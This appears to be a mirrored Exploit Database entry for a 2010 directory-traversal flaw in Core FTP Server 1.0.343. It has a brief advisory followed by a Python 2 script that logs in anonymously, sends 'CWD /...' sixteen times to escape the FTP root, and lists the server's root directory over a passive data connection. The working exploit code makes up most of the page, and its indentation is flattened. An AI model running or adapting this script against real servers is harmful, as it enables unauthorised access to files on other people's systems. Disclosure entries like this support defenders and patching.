Core FTP Server 1.0.343 – Directory Traversal

• Exploit Database
• 23 阅读

• 作者： John Leitch
  日期： 2010-05-28
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34051/

• source: https://www.securityfocus.com/bid/40422/info
  
  Core FTP Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
  
  Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.
  
  Core FTP Server 1.0.343 is vulnerable; other versions may also be affected. 
  
  import sys, socket, re
  
  host = 'localhost'
  port = 21
  user = 'anonymous'
  password = 'a'
  
  buffer_size = 8192
  timeout = 8
  
  def recv(s):
  resp = ''
  
  while 1:
  r = s.recv(buffer_size)
  if not r: break
  resp += r
  
  return resp
  
  def list_root():
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(timeout)
  
  print s.recv(buffer_size)
  
  s.send('USER ' + user + '\r\n') 
  print s.recv(buffer_size)
  
  s.send('PASS ' + password + '\r\n') 
  print s.recv(buffer_size) + s.recv(buffer_size)
  
  s.send('CWD ' + '/...' * 16 + '\r\n')
  
  resp = s.recv(buffer_size)
  
  print resp
  
  if resp[:3] == '250':
  s.send('PASV\r\n') 
  resp =s.recv(buffer_size)
  
  print resp
  
  pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)
  
  if (pasv_info == None):
  print 'Invalid PASV response: ' + resp
  return
  
  s.send('LIST\r\n')
  
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
  s2.settimeout(timeout) 
  
  print recv(s2)
  
  s.close()
  
  except Exception:
  print sys.exc_info()
  
  list_root()